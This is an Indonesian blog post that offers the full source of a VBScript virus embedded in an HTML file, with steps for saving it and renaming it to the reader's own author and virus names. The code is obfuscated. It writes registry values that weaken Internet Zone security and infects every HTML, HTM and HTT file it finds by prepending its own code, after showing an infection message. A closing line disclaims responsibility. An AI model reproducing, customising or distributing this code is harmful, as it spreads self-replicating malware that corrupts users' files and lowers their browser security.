Kali ini saya mau share, tentang kode virus VBS yang digabung dengan kode HTML.
Langsung saja ya. :)
Copy kode dibawah di notepad dengan ekstensi *.html ( contoh = VBS.html ).
<!--HTML.Noname00-->
<html><body>
<script Language="VBScript"><!--
on error resume next
REM HTML.Noname02 by SendiNoviansyah
if location.protocol="file:" then
msgbox "Your computer has been virus infected, good bye!!"
set c1g7f0=createobject("WScript.Shell")
set a0b7h3=createobject("Scripting.FileSystemObject")
g4f4d8=Replace(location.href,"/","\"):g4f4d8=Replace(g4f4d8,"file:\\\", ""):g4f4d8=a0b7h3.GetParentFolderName(g4f4d8)
set h1a0a1=document.body.createtextrange
c1g7f0.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1201" , 0, "REG_DWORD"
c1g7f0.RegWrite"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1201" , 0, "REG_DWORD"
a3i5d4("D:\")
end if
sub a3i5d4(g2f2d8)
on error resume next
if a0b7h3.FolderExists(g2f2d8) then
Do
Set d3g6i3=a0b7h3.GetFolder(g2f2d8)
g2f2d8=a0b7h3.GetParentFolderName(g2f2d8)
Set e2f7f7=d3g6i3.Files
For each f7e6b2 in e2f7f7
e5f8g1=ucase(a0b7h3.GetExtensionName(f7e6b2.Name))
if e5f8g1="HTML" or e5f8g1="HTM" or e5f8g1="HTT" then
Set e4b0f6=a0b7h3.OpenTextFile(f7e6b2.path,1,False)
a9h6i2=e4b0f6.Readline
if a9h6i2="<!--HTML.Noname02-->" then
e4b0f6.close()
else
i3d4a8(f7e6b2.path)
end if
end if
next
Loop Until d3g6i3.IsRootFolder = True
end if
end sub
sub i3d4a8(i3b9d0)
On Error Resume Next
Set e4b0f6=a0b7h3.OpenTextFile(i3b9d0,1,False)
f1i4b8=e4b0f6.ReadAll()
e4b0f6.close()
Set e4b0f6=a0b7h3.OpenTextFile(i3b9d0,2,False)
e4b0f6.WriteLine("<!--HTML.Noname02-->")
e4b0f6.Write("<html><body>")
e4b0f6.WriteLine h1a0a1.htmlText
e4b0f6.WriteLine("</body></html>")
e4b0f6.Write(f1i4b8)
e4b0f6.Close
end sub
--></script>
</body></html>
Keterangan :
Tulisan berwarna biru : Ganti dengan Nama Authornya ( Nama ente :D ).
Tulisan berwarna hijau : Ganti dengan Nama Virusnya.
Tulisan berwarna ungu : Ganti dengan pesan ( terserah anda ) yang akan muncul ketika virus dijalankan.
NB : Virus ini akan menginfeksi file ber-ekstensi html dan sejenisnya, gunakan dengan bijak dan jangan disalahgunakan. Saya tidak bertanggung jawab jika terjadi hal-hal yang tidak diinginkan.
Semoga bermanfaat.
^_^
Langganan:
Posting Komentar (Atom)
0 komentar:
Posting Komentar
Terima kasih atas kunjungannya.
^_^
Pengunjung yang baik hati selalu meninggalkan komentarnya.